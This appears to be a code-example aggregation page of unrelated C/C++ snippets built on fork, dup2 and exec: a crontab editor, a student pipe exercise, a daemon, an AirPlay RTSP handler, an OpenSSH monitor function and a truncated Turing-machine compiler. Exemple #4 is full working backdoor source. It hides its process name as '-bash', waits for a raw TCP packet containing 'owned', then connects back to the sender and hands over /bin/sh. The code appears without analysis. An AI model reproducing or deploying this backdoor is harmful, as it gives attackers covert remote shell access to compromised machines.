Exemple #1
1
int main(){
    int i,line;
    char content[MAX_SCHEDULER][MAXLINE];
    int pipe_fd[2];
    FILE* fptr,*tmp_fptr;
    struct dirent *dirp;
    DIR* dp;
    pid_t pid;
    if((dp=opendir(dirname))==NULL)
        err_sys();
    while((dirp=readdir(dp))!=NULL)
        if(strcmp(dirp->d_name,".")==0 || strcmp(dirp->d_name,"..")==0)
            continue;
        else
            break;
    if(dirp==NULL)
        _Exit(0);
    if((tmp_fptr=fopen(tmp_filename,"w"))==NULL)
        err_sys();
    if(pipe(pipe_fd)<0)
        err_sys();
    if((pid=fork())<0){
        err_sys();
    }else if(pid>0){ //parent , read from pipe
        close(pipe_fd[1]);
        if((fptr=fdopen(pipe_fd[0],"r"))==NULL)
            err_sys();
        for(line=0;fgets(content[line],MAXLINE,fptr)>0;line++);
        if(fclose(fptr)==-1)
            err_sys();
        if(waitpid(pid,NULL,0)<0)
            err_sys();
    }else{ //child , write to pipe
        close(pipe_fd[0]);
        if(pipe_fd[1] != STDOUT_FILENO){
            if(dup2(pipe_fd[1],STDOUT_FILENO) != STDOUT_FILENO)
                err_sys();
            close(pipe_fd[1]);
        }
        if(execl("/usr/bin/crontab","crontab","-l",NULL)<0)
            err_sys();
    }
    deal_content(content,&line,dp,dirp);
    if(closedir(dp))
        err_sys();
    for(i=0;i<line;i++)
        fprintf(tmp_fptr,"%s",content[i]);
    if(fclose(tmp_fptr)==-1)
        err_sys();
    if((pid=fork())<0){
        err_sys();
    }else if(pid>0){ //parent
        if(waitpid(pid,NULL,0)<0)
            err_sys();
    }else{ //child
        if(execl("/usr/bin/crontab","crontab",tmp_filename,NULL)<0)
            err_sys();
    }
    if(unlink(tmp_filename)==-1)
        err_sys();
    return 0;
}
Exemple #2
0
int main( int argc, char *argv[]){


    if(argc != 2) {
    	perror("\nUso Padre <path>");
    	exit(-1);
    }

    int pid,n = 1;
    int fd[2];
    char buffer[10];

    pipe(fd);   //Creacion del fifo por el que se comunican los dos hijos

    //Creacion del primer hijo
    if( (pid=fork())<0) {
        perror("\nError en el primer fork");
        exit(-1);
    }

    if( pid == 0){
        //Este hijo se encarga de recibir numeros por entrada estandar

        close(fd[0]);
        dup2(fd[1],STDOUT_FILENO);

        while( n != 0){

            scanf("%d",&n);
            printf("%d",n); //Se escriben en el pipe porque he cerrado la salida estandar y redirigido al pipe

            if( n == 0)
                exit(0);
        }


    }
    else{

        //Creacion del segundo hijo por el padre
        if( (pid=fork())<0) {
            perror("\nError en el segundo fork");
            exit(-1);
        }

        if( pid == 0 ){

            //El segundo hijo ejecuta el programa LeerDir

            //Se redirige la entrada a la entrada del pipe
            close(fd[1]);
            dup2(fd[0],STDIN_FILENO);

            //Ejecucion del programa LeerDir
            if( (execl("/home/adritake/SO/Modulo2/Examen/LeerDir","LeerDir", argv[1], NULL)<0)) {
                perror("\nError en el execl");
            }

        }
        else{

            //El padre espera a sus hijos
            waitpid(-1);
            printf("El proceso padre ha finalizado.\n");
        }

    }






}
Exemple #3
0
int main(int argc, char **argv)
{
	int ch, longindex, nr;
	int is_daemon = 1, is_debug = 1;
	pid_t pid;
	struct pollfd *poll_array;

	while ((ch = getopt_long(argc, argv, "fd:vh", long_options, &longindex)) >= 0) {
		switch (ch) {
		case 'f':
			is_daemon = 0;
			break;
		case 'd':
			is_debug = atoi(optarg);
			break;
		case 'v':
			exit(0);
			break;
		case 'h':
			usage(0);
			break;
		default:
			usage(1);
			break;
		}
	}

	init(is_daemon, is_debug);

	if (is_daemon) {
		pid = fork();
		if (pid < 0)
			exit(-1);
		else if (pid)
			exit(0);

		chdir("/");

		close(0);
		open("/dev/null", O_RDWR);
		dup2(0, 1);
		dup2(0, 2);
		setsid();
	}

	nl_fd = nl_open();
	if (nl_fd < 0)
		exit(nl_fd);

	ipc_fd = ipc_open();
	if (ipc_fd < 0)
		exit(ipc_fd);

	dl_init();

	nr = MAX_DL_HANDLES;
	poll_array = poll_init(nr);

	dl_config_load();

	event_loop(nr, poll_array);

	return 0;
}
Exemple #4
0
int main (int argc, char *argv[])
{
  int fd,sockfd;
  struct sockaddr_in saddr;
  int n,pid;
  char buf[MAXBUFLEN];
  struct iphdr *ip_header;
  struct tcphdr *tcp_header;
  char *data;
  int port;
  long dst;

  printf("- LOTFREE Connect Back BackDoor -\n");
  printf("  http://www.lsdp.net/~lotfree/\n\n");
  if(geteuid())
  {
    printf("Need root privileges\n");
    return 1;
  }
  bzero(argv[0],strlen(argv[0]));
  strcpy(argv[0],"-bash");
  
  signal(SIGCHLD,SIG_IGN);
  signal(SIGHUP,SIG_IGN);
  
  pid=fork();
  if(pid>0)
  {
    printf("Backdoor launched in background...\n");
    exit(0);
  }
  if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  {
    perror ("socket");
    exit (1);
  }

  ip_header = (struct iphdr *) buf;
  tcp_header = (struct tcphdr *) (buf + sizeof (*ip_header));
  data = (char *) (buf + sizeof (*tcp_header) + sizeof (*ip_header));

  while (1)
  {
    n=read(fd,buf,sizeof(buf));
    if (n >= 45)
    {
      if (!strncmp (data, "owned", 5))
      {
	dst=ip_header->saddr;
	if (n == 45)
	  port = 80;
	else
	{
	  port=atoi((char *) (data + 5));
	}
	sockfd=socket(PF_INET,SOCK_STREAM,0);
	saddr.sin_family=PF_INET;
	saddr.sin_addr.s_addr=dst;
	saddr.sin_port=htons(port);
	pid=fork();
	if(pid==0)
	{
	  connect(sockfd,(struct sockaddr*)&saddr,sizeof(struct sockaddr));
	  write(sockfd,"go!\n",4);
	  close(0);close(1);close(2);
	  dup2(sockfd,0);
	  dup2(sockfd,1);
	  dup2(sockfd,2);
	  execl("/bin/sh","/bin/sh",(char*)0);
	  close(sockfd);
	  exit(0);
	}
      }
    }
    bzero(buf,MAXBUFLEN);
  }
  close (fd);
  return 0;
}
Exemple #5
0
//parseMessage(tConn->recv.data, tConn->recv.mark, &tConn->resp, ipstr, pHWADDR, tConn->keys);
int parseMessage(struct connection *pConn, unsigned char *pIpBin, unsigned int pIpBinLen, char *pHWID)
{
  int tReturn = 0; // 0 = good, 1 = Needs More Data, -1 = close client socket.
  if(pConn->resp.data == NULL)
  {
    initBuffer(&(pConn->resp), MAX_SIZE);
  }

  char *tContent = getFromHeader(pConn->recv.data, "Content-Length", NULL);
  if(tContent != NULL)
  {
    int tContentSize = atoi(tContent);
    if(pConn->recv.marker == 0 || strlen(pConn->recv.data+pConn->recv.marker) != tContentSize)
    {
      if(isLogEnabledFor(HEADER_LOG_LEVEL))
      {
        slog(HEADER_LOG_LEVEL, "Content-Length: %s value -> %d\n", tContent, tContentSize);
        if(pConn->recv.marker != 0)
        {
          slog(HEADER_LOG_LEVEL, "ContentPtr has %d, but needs %d\n", 
                  strlen(pConn->recv.data+pConn->recv.marker), tContentSize);
        }
      }
      // check if value in tContent > 2nd read from client.
      return 1; // means more content-length needed
    }
  }
  else
  {
    slog(LOG_DEBUG_VV, "No content, header only\n");
  }

  // "Creates" a new Response Header for our response message
  addToShairBuffer(&(pConn->resp), "RTSP/1.0 200 OK\r\n");

  if(isLogEnabledFor(LOG_INFO))
  {
    int tLen = strchr(pConn->recv.data, ' ') - pConn->recv.data;
    if(tLen < 0 || tLen > 20)
    {
      tLen = 20;
    }
    slog(LOG_INFO, "********** RECV %.*s **********\n", tLen, pConn->recv.data);
  }

  if(pConn->password != NULL)
  {
    
  }

  if(buildAppleResponse(pConn, pIpBin, pIpBinLen, pHWID)) // need to free sig
  {
    slog(LOG_DEBUG_V, "Added AppleResponse to Apple-Challenge request\n");
  }

  // Find option, then based on option, do different actions.
  if(strncmp(pConn->recv.data, "OPTIONS", 7) == 0)
  {
    propogateCSeq(pConn);
    addToShairBuffer(&(pConn->resp),
      "Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, GET_PARAMETER, SET_PARAMETER\r\n");
  }
  else if(!strncmp(pConn->recv.data, "ANNOUNCE", 8))
  {
    char *tContent = pConn->recv.data + pConn->recv.marker;
    int tSize = 0;
    char *tHeaderVal = getFromContent(tContent, "a=aesiv", &tSize); // Not allocated memory, just pointing
    if(tSize > 0)
    {
      int tKeySize = 0;
      char tEncodedAesIV[tSize + 2];
      getTrimmed(tHeaderVal, tSize, TRUE, TRUE, tEncodedAesIV);
      slog(LOG_DEBUG_VV, "AESIV: [%.*s] Size: %d  Strlen: %d\n", tSize, tEncodedAesIV, tSize, strlen(tEncodedAesIV));
      char *tDecodedIV =  decode_base64((unsigned char*) tEncodedAesIV, tSize, &tSize);

      // grab the key, copy it out of the receive buffer
      tHeaderVal = getFromContent(tContent, "a=rsaaeskey", &tKeySize);
      char tEncodedAesKey[tKeySize + 2]; // +1 for nl, +1 for \0
      getTrimmed(tHeaderVal, tKeySize, TRUE, TRUE, tEncodedAesKey);
      slog(LOG_DEBUG_VV, "AES KEY: [%s] Size: %d  Strlen: %d\n", tEncodedAesKey, tKeySize, strlen(tEncodedAesKey));
      // remove base64 coding from key
      char *tDecodedAesKey = decode_base64((unsigned char*) tEncodedAesKey,
                              tKeySize, &tKeySize);  // Need to free DecodedAesKey

      // Grab the formats
      int tFmtpSize = 0;
      char *tFmtp = getFromContent(tContent, "a=fmtp", &tFmtpSize);  // Don't need to free
      tFmtp = getTrimmedMalloc(tFmtp, tFmtpSize, TRUE, FALSE); // will need to free
      slog(LOG_DEBUG_VV, "Format: %s\n", tFmtp);

      RSA *rsa = loadKey();
      // Decrypt the binary aes key
      char *tDecryptedKey = malloc(RSA_size(rsa) * sizeof(char)); // Need to Free Decrypted key
      //char tDecryptedKey[RSA_size(rsa)];
      if(RSA_private_decrypt(tKeySize, (unsigned char *)tDecodedAesKey, 
      (unsigned char*) tDecryptedKey, rsa, RSA_PKCS1_OAEP_PADDING) >= 0)
      {
        slog(LOG_DEBUG, "Decrypted AES key from RSA Successfully\n");
      }
      else
      {
        slog(LOG_INFO, "Error Decrypting AES key from RSA\n");
      }
      free(tDecodedAesKey);
      RSA_free(rsa);

      setKeys(pConn->keys, tDecodedIV, tDecryptedKey, tFmtp);

      propogateCSeq(pConn);
    }
  }
  else if(!strncmp(pConn->recv.data, "SETUP", 5))
  {
    // Setup pipes
    struct comms *tComms = pConn->hairtunes;
    if (! (pipe(tComms->in) == 0 && pipe(tComms->out) == 0))
    {
      slog(LOG_INFO, "Error setting up hairtunes communications...some things probably wont work very well.\n");
    }
    
    // Setup fork
    char tPort[8] = "6000";  // get this from dup()'d stdout of child pid

    int tPid = fork();
    if(tPid == 0)
    {
      int tDataport=0;
      char tCPortStr[8] = "59010";
      char tTPortStr[8] = "59012";
      int tSize = 0;

      char *tFound  =getFromSetup(pConn->recv.data, "control_port", &tSize);
      getTrimmed(tFound, tSize, 1, 0, tCPortStr);
      tFound = getFromSetup(pConn->recv.data, "timing_port", &tSize);
      getTrimmed(tFound, tSize, 1, 0, tTPortStr);

      slog(LOG_DEBUG_VV, "converting %s and %s from str->int\n", tCPortStr, tTPortStr);
      int tControlport = atoi(tCPortStr);
      int tTimingport = atoi(tTPortStr);

      slog(LOG_DEBUG_V, "Got %d for CPort and %d for TPort\n", tControlport, tTimingport);
      char *tRtp = NULL;
      char *tPipe = NULL;
      char *tAoDriver = NULL;
      char *tAoDeviceName = NULL;
      char *tAoDeviceId = NULL;

      // *************************************************
      // ** Setting up Pipes, AKA no more debug/output  **
      // *************************************************
      dup2(tComms->in[0],0);   // Input to child
      closePipe(&(tComms->in[0]));
      closePipe(&(tComms->in[1]));

      dup2(tComms->out[1], 1); // Output from child
      closePipe(&(tComms->out[1]));
      closePipe(&(tComms->out[0]));

      struct keyring *tKeys = pConn->keys;
      pConn->keys = NULL;
      pConn->hairtunes = NULL;

      // Free up any recv buffers, etc..
      if(pConn->clientSocket != -1)
      {
        close(pConn->clientSocket);
        pConn->clientSocket = -1;
      }
      cleanupBuffers(pConn);
      hairtunes_init(tKeys->aeskey, tKeys->aesiv, tKeys->fmt, tControlport, tTimingport,
                      tDataport, tRtp, tPipe, tAoDriver, tAoDeviceName, tAoDeviceId);

      // Quit when finished.
      slog(LOG_DEBUG, "Returned from hairtunes init....returning -1, should close out this whole side of the fork\n");
      return -1;
    }
    else if(tPid >0)
    {
      // Ensure Connection has access to the pipe.
      closePipe(&(tComms->in[0]));
      closePipe(&(tComms->out[1]));

      char tFromHairtunes[80];
      int tRead = read(tComms->out[0], tFromHairtunes, 80);
      if(tRead <= 0)
      {
        slog(LOG_INFO, "Error reading port from hairtunes function, assuming default port: %d\n", tPort);
      }
      else
      {
        int tSize = 0;
        char *tPortStr = getFromHeader(tFromHairtunes, "port", &tSize);
        if(tPortStr != NULL)
        {
          getTrimmed(tPortStr, tSize, TRUE, FALSE, tPort);
        }
        else
        {
          slog(LOG_INFO, "Read %d bytes, Error translating %s into a port\n", tRead, tFromHairtunes);
        }
      }
      //  READ Ports from here?close(pConn->hairtunes_pipes[0]);
      propogateCSeq(pConn);
      int tSize = 0;
      char *tTransport = getFromHeader(pConn->recv.data, "Transport", &tSize);
      addToShairBuffer(&(pConn->resp), "Transport: ");
      addNToShairBuffer(&(pConn->resp), tTransport, tSize);
      // Append server port:
      addToShairBuffer(&(pConn->resp), ";server_port=");
      addToShairBuffer(&(pConn->resp), tPort);
      addToShairBuffer(&(pConn->resp), "\r\nSession: DEADBEEF\r\n");
    }
    else
    {
      slog(LOG_INFO, "Error forking process....dere' be errors round here.\n");
      return -1;
    }
  }
  else if(!strncmp(pConn->recv.data, "TEARDOWN", 8))
  {
    // Be smart?  Do more finish up stuff...
    addToShairBuffer(&(pConn->resp), "Connection: close\r\n");
    propogateCSeq(pConn);
    close(pConn->hairtunes->in[1]);
    slog(LOG_DEBUG, "Tearing down connection, closing pipes\n");
    //close(pConn->hairtunes->out[0]);
    tReturn = -1;  // Close client socket, but sends an ACK/OK packet first
  }
  else if(!strncmp(pConn->recv.data, "FLUSH", 5))
  {
    write(pConn->hairtunes->in[1], "flush\n", 6);
    propogateCSeq(pConn);
  }
  else if(!strncmp(pConn->recv.data, "SET_PARAMETER", 13))
  {
    propogateCSeq(pConn);
    int tSize = 0;
    char *tVol = getFromHeader(pConn->recv.data, "volume", &tSize);
    slog(LOG_DEBUG_VV, "About to write [vol: %.*s] data to hairtunes\n", tSize, tVol);

    write(pConn->hairtunes->in[1], "vol: ", 5);
    write(pConn->hairtunes->in[1], tVol, tSize);
    write(pConn->hairtunes->in[1], "\n", 1);
    slog(LOG_DEBUG_VV, "Finished writing data write data to hairtunes\n");
  }
  else
  {
    slog(LOG_DEBUG, "\n\nUn-Handled recv: %s\n", pConn->recv.data);
    propogateCSeq(pConn);
  }
  addToShairBuffer(&(pConn->resp), "\r\n");
  return tReturn;
}
Exemple #6
0
int
mm_answer_pty(int sock, Buffer *m)
{
	extern struct monitor *pmonitor;
	Session *s;
	int res, fd0;

	debug3("%s entering", __func__);

	buffer_clear(m);
	s = session_new();
	if (s == NULL)
		goto error;
	s->authctxt = authctxt;
	s->pw = authctxt->pw;
	s->pid = pmonitor->m_pid;
	res = pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty));
	if (res == 0)
		goto error;
	pty_setowner(authctxt->pw, s->tty);

	buffer_put_int(m, 1);
	buffer_put_cstring(m, s->tty);

	/* We need to trick ttyslot */
	if (dup2(s->ttyfd, 0) == -1)
		fatal("%s: dup2", __func__);

	mm_record_login(s, authctxt->pw);

	/* Now we can close the file descriptor again */
	close(0);

	/* send messages generated by record_login */
	buffer_put_string(m, buffer_ptr(&loginmsg), buffer_len(&loginmsg));
	buffer_clear(&loginmsg);

	mm_request_send(sock, MONITOR_ANS_PTY, m);

	mm_send_fd(sock, s->ptyfd);
	mm_send_fd(sock, s->ttyfd);

	/* make sure nothing uses fd 0 */
	if ((fd0 = open(_PATH_DEVNULL, O_RDONLY)) < 0)
		fatal("%s: open(/dev/null): %s", __func__, strerror(errno));
	if (fd0 != 0)
		error("%s: fd0 %d != 0", __func__, fd0);

	/* slave is not needed */
	close(s->ttyfd);
	s->ttyfd = s->ptyfd;
	/* no need to dup() because nobody closes ptyfd */
	s->ptymaster = s->ptyfd;

	debug3("%s: tty %s ptyfd %d", __func__, s->tty, s->ttyfd);

	return (0);

 error:
	if (s != NULL)
		mm_session_close(s);
	buffer_put_int(m, 0);
	mm_request_send(sock, MONITOR_ANS_PTY, m);
	return (0);
}
void compile( const TuringEnv &env , bool verbose , bool link ,
	std::string asmOut , std::string execOut )
{
	const int arbError = -27;
	bool useNASM = false;
	std::vector<std::string> stateNames;
	std::string assemblyCode;
	int lengthOfTape;
	std::string asmFilename;
	std::ofstream ofs;
	// Detecting whether NASM is installed. I like NASM more than gas, therefore
	// I will try to use NASM unless it is not installed. The assumption is that
	// at least gas is installed
	pid_t pid = fork();
	if ( pid == 0 )
	{
		// Child
		// Next three lines steal out and err from which and send to /dev/null
		int fd = open( "/dev/null" , O_WRONLY );
		dup2(fd, 1);
	    dup2(fd, 2);
		execlp( "which" , "which" , "nasm" , (char*)0 );
		_exit( arbError );
	}
	else
	{
		// Parent
		int status;
		pid_t result = waitpid( pid , &status , 0 );
		if( WIFEXITED( status ) )
		{
			int returnVal = WEXITSTATUS( status );
			if ( returnVal == arbError )
			{
				if ( verbose )
				{
					std::cout << "* Fork-exec to check for NASM failed: "
						"Using gas for assembly." << std::endl;
				}
			}
			else if ( returnVal == 0 )
			{
				if ( verbose )
				{
					std::cout << "* NASM detected: Using NASM for assembly." <<
						std::endl;
				}
				useNASM = true;
			}
			else
			{
				if ( verbose )
				{
					std::cout << "* NASM not detected: Using gas for assembly."
						<< std::endl;
				}
			}
		}
		else
		{
			if ( verbose )
			{
				std::cout << "* Fork-exec to check for NASM terminated "
					"abnormally: Using gas for assembly." << std::endl;
			}
		}
	}
	if ( verbose )
	{
		std::cout << "* Performing sanity check..." << std::endl;
	}
	// Terribly inefficient check to see if state names are repeated, and to
	// populate a list of the state names to be used after this for something
	for ( int i = 0; i < env.states.size(); i++ )
	{
		for ( int j = i + 1; j < env.states.size(); j++ )
		{
			if ( env.states.at(i).getName().compare( 
				env.states.at(j).getName() ) == 0 )
			{
				std::string error = "** Error on compile:\n\tDuplicate state "
					"names detected at state definitions ";
				error += castIntToString( i + 1 );
				error += " and ";
				error += castIntToString( j + 1 );
				error += ".";
				throw error;
			}
		}
		stateNames.push_back( env.states.at(i).getName() );
	}
	// Ensure that states only transition to other defined states
	for ( int i = 0; i < env.states.size(); i++ )
	{
		for ( int j = 0; j < env.states.at(i).getTransitions().size(); j++ )
		{
			if ( env.states.at(i).getTransitions().at(j).nextState.compare(
				"accept" ) != 0 &&
				env.states.at(i).getTransitions().at(j).nextState.compare(
				"reject" ) != 0 && 
				std::find( stateNames.begin() , stateNames.end() , 
				env.states.at(i).getTransitions().at(j).nextState ) == 
				stateNames.end() )
			{
				std::string error = "** Error on compile:\n\tUndefined state "
					"referenced in transition definition ";
				error += castIntToString( j + 1 );
				error += " of state definition ";
				error += castIntToString( i + 1 );
				error += ". ";
				const std::vector<std::string> &posToks = 
					getSimilarTokens( stateNames , 
					env.states.at(i).getTransitions().at(j).nextState );
				if ( posToks.size() > 0 )
				{
					error += "\n\tState names similar to token: ";
					for ( int k = 0; k < posToks.size(); k++ )
					{
						error += posToks.at(k);
					}
				}
				throw error;
			}
		}
	}
	if ( verbose )
	{
		std::cout << "* Sanity check passed.\n" << std::endl;
		printTuringEnv( env );
		std::cout << "* Beginning compilation stage..." << std::endl;
	}
	// gas-only, force using intel syntax
	if ( !useNASM )
	{
		assemblyCode += ".intel_syntax noprefix\n\n";
	}
	// Here, add externs for functions we need. Gas doesn't need these
	// apparently
	if ( useNASM )
	{
		assemblyCode += "\t\textern\tmalloc\n";
		assemblyCode += "\t\textern\tfree\n\n";
		assemblyCode += "\t\textern\tprintf\n";
		if ( env.speed > 0 )
		{
			assemblyCode += "\t\textern\tsleep\n\n";
		}
	}
	// Here, allocate data we may need
	if ( useNASM )
	{
		assemblyCode += "\t\tSECTION\t.data\n\n";
		assemblyCode += "str_ctrl:\t\tdb\t\t\"Goodbye, world!\" , 10 , "
			"\"Tape:\" , 10 , \"%s\" , 10 , 0\n";
		assemblyCode += "trans_lim_str:\tdb\t\t\"Simulation continued " 
			"beyond allowed number of transitions. Exiting.\" , 10 , 0\n";
		assemblyCode += "tape_err_str:\tdb\t\t\"Tape of insufficient "
			"size to accomodate input length. Exiting.\" , 10 , 0\n";
		assemblyCode += "reject_str:\tdb\t\t"
			"\"Input REJECTED.\" , 10 , 0\n";
		assemblyCode += "accept_str:\tdb\t\t"
			"\"Input ACCEPTED.\" , 10 , 0\n";
		for ( int i = 0; i < env.states.size(); i++ )
		{
			assemblyCode += "config_print_";
			assemblyCode += env.states.at(i).getName();
			assemblyCode += ":\tdb\t\t\"Configuration:\" , 10 , "
				"\"Tape:\" , 10 , \"%s\" , 10 , "
				"\"Head over cell: %d\" , 10 , "
				"\"In state: ";
			assemblyCode += env.states.at(i).getName();
			assemblyCode += "\" , 10 , 10 , 0\n";
		}
		assemblyCode += "config_print_accept";
		assemblyCode += ":\tdb\t\t\"Ending Configuration (Success):\" , 10 , "
			"\"Tape:\" , 10 , \"%s\" , 10 , "
			"\"Head over cell: %d\" , 10 , "
			"\"In state: accept\" , 10 , 10 , 0 \n";
		assemblyCode += "config_print_reject";
		assemblyCode += ":\tdb\t\t\"Ending Configuration (Failure):\" , 10 , "
			"\"Tape:\" , 10 , \"%s\" , 10 , "
			"\"Head over cell: %d\" , 10 , "
			"\"In state: reject\" , 10 , 10 , 0 \n";
		assemblyCode += "initial_config";
		assemblyCode += ":\tdb\t\t\"Starting Configuration:\" , 10 , "
			"\"Tape:\" , 10 , \"%s\" , 10 , "
			"\"Head over cell: %d\" , 10 , "
			"\"In state: ";
		assemblyCode += env.start;
		assemblyCode += "\" , 10 , 10 , 0 \n";
	}
	else
	{
		assemblyCode += "\t\t.section\t.data\n\n";
		assemblyCode += "str_ctrl:\t\t.asciz\t\t\"Goodbye, world!\\n\"\n";
		assemblyCode += "tape_err_str:\t.asciz\t\t\"Tape of insufficient "
			"size to accomodate input length. Exiting.\n\"";
	}

	// PUT ANY .data SECTION ELEMENTS HERE
	// NOTE THAT GAS AND NASM SYNTAX FOR DEFINING STUFF IN .data DIFFER

	// Here, allocate reserved memory we may need
	if ( useNASM )
	{
		assemblyCode += "\t\tSECTION\t.bss\n\n";
	}
	else
	{
		assemblyCode += "\t\t.section\t.bss\n\n";
	}

	// PUT ANY .bss SECTION ELEMENTS HERE
	// NOTE THAT GAS AND NASM SYNTAX FOR DEFINING STUFF IN .bss DIFFER

	if ( useNASM )
	{
		assemblyCode += "\t\tSECTION\t.text\n\n";
		assemblyCode += "\t\tglobal\tmain\n\n";
	}
	else
	{
		assemblyCode += "\t\t.section\t.text\n\n";
		assemblyCode += "\t\t.global\tmain\n\n";
	}

	// From here, there shouldn't be any differences in accepted syntax by
	// gas or NASM, because of the ".intel_syntax noprefix" deal

	// Entry point into program
	assemblyCode += "main:\n";

	// Set up stack frame
	if ( useNASM )
	{
		assemblyCode += "\t\tpush\tebp\n";
	}
	else
	{
		assemblyCode += "\t\tadd\t\tesp , -4\n";
		assemblyCode += "\t\tmov\t\t[esp] , ebp\n";
	}
	assemblyCode += "\t\tmov\t\tebp , esp\n";

	// Here allocate memory for the tape
	// We did not ask for any specific amount of cells, so get a default of 1000
	if ( env.cells <= 0 )
	{
		if ( env.cells < 0 )
		{
			std::cout << "  Warning: Negative number of cells to allocate " <<
				"were requested: " << env.cells << ". Defaulting to 1000 " <<
				"cells." << std::endl;
		}
		lengthOfTape = 1000;
		if ( useNASM )
		{
			assemblyCode += "\t\tpush\t1001\n";
		}
		else
		{
			assemblyCode += "\t\tadd\t\tesp , -4\n";
			assemblyCode += "\t\tmov\t\teax , 1001\n";
			assemblyCode += "\t\tmov\t\t[esp] , eax\n";
		}
		assemblyCode += "\t\tcall\tmalloc\n";
		// Place null terminator at end of the tape, to make printing easy
		assemblyCode += "\t\tmov\t\tbyte [eax + 1000] , 0\n";
	}
	else
	{
		if ( env.cells > 0 && env.cells < 150 )
		{
			std::cout << "  Warning: Very small number of cells requested: " <<
				env.cells << ". Compilation may fail, or execution may give " <<
				"unexpected results because of the wrap-around behavior of " <<
				"simulator." << std::endl;
		}
		lengthOfTape = env.cells + 1;
		if ( useNASM )
		{
			assemblyCode += "\t\tpush\t";
			assemblyCode += castIntToString( env.cells + 1 );
			assemblyCode += "\n";
		}
		else
		{
			assemblyCode += "\t\tadd\t\tesp , -4\n";
			assemblyCode += "\t\tmov\t\teax , ";
			assemblyCode += castIntToString( env.cells + 1 );
			assemblyCode += "\n";
			assemblyCode += "\t\tmov\t\t[esp] , eax\n";
		}
		assemblyCode += "\t\tcall\tmalloc\n";
		// Place null terminator at end of the tape, to make printing easy
		assemblyCode += "\t\tmov\t\tbyte [eax + ";
		assemblyCode += castIntToString( env.cells );
		assemblyCode += "] , 0\n";
	}
	// Pop malloc arg off stack
	if ( useNASM )
	{
		assemblyCode += "\t\tpop\t\tedx\n";
	}
	else
	{
		assemblyCode += "\t\tmov\t\tedx , [esp]\n";
		assemblyCode += "\t\tadd\t\tesp , 4\n";
	}

	// Move array pointer into edi for rep, and into edx for storing the pointer
	assemblyCode += "\t\tmov\t\tedx , eax\n";
	assemblyCode += "\t\tmov\t\tedi , eax\n";

	// Initialize ecx counter for rep
	assemblyCode += "\t\tmov\t\tecx , ";
	assemblyCode += castIntToString( lengthOfTape );
	assemblyCode += "\n";

	// Initialize value that will be stored in every cell with rep
	assemblyCode += "\t\tmov\t\tal , \'";
	assemblyCode += env.empty;
	assemblyCode += "\'\n";

	// Initialize the tape
	assemblyCode += "\t\trep\t\tstosb\n";

	// Set esi to 0, where 1 means we want to print configs, and 0 means no,
	// and then get later whether we should assign 1 to esi
	assemblyCode += "\t\tmov\t\tesi , 0\n";

	// Check to see if we got any input
	// Get argc
	assemblyCode += "\t\tmov\t\teax , [ebp + 8]\n";
	assemblyCode += "\t\tcmp\t\teax , 1\n";
	assemblyCode += "\t\tje\t\tno_input\n";
	assemblyCode += "\t\tcmp\t\teax , 2\n";
	assemblyCode += "\t\tje\t\tinit_tape\n";
	// If we got both an input string and an extra input, it means we want to
	// print configs during execution
	assemblyCode += "\t\tmov\t\tesi , 1\n\n";

	assemblyCode += "init_tape:\n";
	// Load the input into the tape
	assemblyCode += "\t\tmov\t\teax , [ebp + 12]\n";
	// Get arv[1]
	assemblyCode += "\t\tmov\t\teax , [eax + 4]\n";
	// Load input onto tape
	assemblyCode += "\t\tmov\t\tecx , 0\n\n";
	assemblyCode += "load_input_loop:\n";
	assemblyCode += "\t\tmov\t\tbl , [eax + ecx]\n";
	assemblyCode += "\t\tmov\t\t[edx + ecx] , bl\n";
	assemblyCode += "\t\tinc\t\tecx\n";
	assemblyCode += "\t\tcmp\t\tbyte [eax + ecx] , 0\n";
	assemblyCode += "\t\tje\t\tloaded_input\n";
	assemblyCode += "\t\tcmp\t\tbyte [edx + ecx] , 0\n";
	assemblyCode += "\t\tje\t\ttape_not_big_enough\n";
	assemblyCode += "\t\tjmp\t\tload_input_loop\n\n";




	assemblyCode += "no_input:\nloaded_input:\n";
	// Initialize ecx to be position on tape
	assemblyCode += "\t\tmov\t\tecx , 0\n";
	// Initialize edi to be the count for the number of steps the machine takes
	assemblyCode += "\t\tmov\t\tedi , 0\n";
	// Print the initial config
	assemblyCode += "\t\tcmp\t\tesi , 0\n";
	assemblyCode += "\t\tje\t\tskip_print_init_config\n";
	assemblyCode += "\t\tpush\teax\n";
	assemblyCode += "\t\tpush\tecx\n";
	assemblyCode += "\t\tpush\tedx\n";

	assemblyCode += "\t\tpush\tecx\n";
	assemblyCode += "\t\tpush\tedx\n";
	assemblyCode += "\t\tpush\tinitial_config\n";
	assemblyCode += "\t\tcall\tprintf\n";

	assemblyCode += "\t\tadd\t\tesp , 12\n";
	assemblyCode += "\t\tpop\t\tedx\n";
	assemblyCode += "\t\tpop\t\tecx\n";
	assemblyCode += "\t\tpop\t\teax\n";
	assemblyCode += "skip_print_init_config:\n";
	// Go to the first state
	assemblyCode += "\t\tjmp\t\tstate_";
	assemblyCode += env.start;
	assemblyCode += "\n";

	// edx = pointer to tape
	// ecx = current tape position
	// esi = 0 if no printing configs, 1 if printing configs
	// edi = count of the transitions taken so far
	// eax , ebx = trash

	// HERE PUT IN THE ACTUAL COMPILED CODE

	for ( int i = 0; i < env.states.size(); i++ )
	{
		assemblyCode += "\n\n";
		assemblyCode += "state_";
		assemblyCode += env.states.at(i).getName();
		assemblyCode += ":";
		std::vector<Transition> transitions = env.states.at(i).getTransitions();
		for ( int j = 0; j < transitions.size(); j++ )
		{
			assemblyCode += "\n.state_trans_";
			assemblyCode += castIntToString( j );
			assemblyCode += ":\n";
			assemblyCode += "\t\tmov\t\tbl , [edx + ecx]\n";
			assemblyCode += "\t\tcmp\t\t bl , \'";
			assemblyCode += transitions.at(j).readSym;
			assemblyCode += "\'\n";
			if ( j < transitions.size() - 1 )
			{
				assemblyCode += "\t\tjne\t\t.state_trans_";
				assemblyCode += castIntToString( j + 1 );
				assemblyCode += "\n";
			}
			else
			{
				assemblyCode += "\t\tjne\t\tstate_reject\n";
			}
			if ( transitions.at(j).readSym != transitions.at(j).writeSym )
			{
				assemblyCode += "\t\tmov\t\tbyte [ edx + ecx ] , \'";
				assemblyCode += transitions.at(j).writeSym;
				assemblyCode += "\'\n";
			}
			if ( transitions.at(j).direction == 'R' )
			{
				assemblyCode += "\t\tinc\t\tecx\n";
				assemblyCode += "\t\tcmp\t\tecx , ";
				assemblyCode += castIntToString( lengthOfTape - 1 );
				assemblyCode += "\n";
